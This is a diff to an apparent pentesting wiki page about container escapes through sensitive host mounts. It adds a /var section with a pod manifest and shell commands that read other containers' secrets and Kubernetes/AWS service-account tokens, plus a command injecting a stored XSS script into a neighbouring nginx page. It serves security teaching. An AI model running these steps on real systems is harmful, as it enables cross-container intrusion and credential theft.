|
2 | 2 |
|
3 | 3 | {{#include ../../../../banners/hacktricks-training.md}}
|
4 | 4 |
|
5 |
| -The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. |
| 5 | +The exposure of `/proc`, `/sys`, and `/var` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. |
6 | 6 |
|
7 | 7 | **You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
8 | 8 |
|
@@ -165,6 +165,110 @@ This directory permits access to modify kernel variables, usually via `sysctl(2)
|
165 | 165 | - `debugfs` offers a "no rules" debugging interface to the kernel.
|
166 | 166 | - History of security issues due to its unrestricted nature.
|
167 | 167 |
|
| 168 | +### `/var` Vulnerabilities |
| 169 | + |
| 170 | +The host's **/var** folder contains container runtime sockets and the containers' filesystems. |
| 171 | +If this folder is mounted inside a container, that container will get read-write access to other containers' file systems |
| 172 | +with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other |
| 173 | +containers and applications that run in them. |
| 174 | + |
| 175 | +#### Kubernetes |
| 176 | + |
| 177 | +If a container like this is deployed with Kubernetes: |
| 178 | + |
| 179 | +```yaml |
| 180 | +apiVersion: v1 |
| 181 | +kind: Pod |
| 182 | +metadata: |
| 183 | + name: pod-mounts-var |
| 184 | + labels: |
| 185 | + app: pentest |
| 186 | +spec: |
| 187 | + containers: |
| 188 | + - name: pod-mounts-var-folder |
| 189 | + image: alpine |
| 190 | + volumeMounts: |
| 191 | + - mountPath: /host-var |
| 192 | + name: noderoot |
| 193 | + command: [ "/bin/sh", "-c", "--" ] |
| 194 | + args: [ "while true; do sleep 30; done;" ] |
| 195 | + volumes: |
| 196 | + - name: noderoot |
| 197 | + hostPath: |
| 198 | + path: /var |
| 199 | +``` |
| 200 | +
|
| 201 | +Inside the **pod-mounts-var-folder** container: |
| 202 | +
|
| 203 | +```bash |
| 204 | +/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null |
| 205 | + |
| 206 | +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example |
| 207 | +<SNIP> |
| 208 | +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh |
| 209 | + |
| 210 | +/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret |
| 211 | +JWT_SECRET=85d<SNIP>a0 |
| 212 | +REFRESH_TOKEN_SECRET=14<SNIP>ea |
| 213 | + |
| 214 | +/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null |
| 215 | +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html |
| 216 | +<SNIP> |
| 217 | +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html |
| 218 | +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html |
| 219 | + |
| 220 | +/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh |
| 221 | +are/nginx/html/index2.html |
| 222 | +``` |
| 223 | + |
| 224 | +The XSS was achieved: |
| 225 | + |
| 226 | + |
| 227 | + |
| 228 | +Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly. |
| 229 | + |
| 230 | +You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE. |
| 231 | + |
| 232 | +##### Access to cloud credentials |
| 233 | + |
| 234 | +The container can read K8s serviceaccount tokens or AWS webidentity tokens |
| 235 | +which allows the container to gain unauthorized access to K8s or cloud: |
| 236 | + |
| 237 | +```bash |
| 238 | +/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token |
| 239 | +/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token |
| 240 | +``` |
| 241 | + |
| 242 | +#### Docker |
| 243 | + |
| 244 | +The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually |
| 245 | +the other containers' filesystems are available under a different base path: |
| 246 | + |
| 247 | +```bash |
| 248 | +$ docker info | grep -i 'docker root\|storage driver' |
| 249 | + Storage Driver: overlay2 |
| 250 | + Docker Root Dir: /var/lib/docker |
| 251 | +``` |
| 252 | + |
| 253 | +So the filesystems are under `/var/lib/docker/overlay2/`: |
| 254 | + |
| 255 | +```bash |
| 256 | +$ sudo ls -la /var/lib/docker/overlay2 |
| 257 | + |
| 258 | +drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d |
| 259 | +drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496 |
| 260 | +drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f |
| 261 | +drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2 |
| 262 | +<SNIP> |
| 263 | +``` |
| 264 | + |
| 265 | +#### Note |
| 266 | + |
| 267 | +The actual paths may differ in different setups, which is why your best bet is to use the **find** command to |
| 268 | +locate the other containers' filesystems |
| 269 | + |
| 270 | + |
| 271 | + |
168 | 272 | ### References
|
169 | 273 |
|
170 | 274 | - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
|
0 commit comments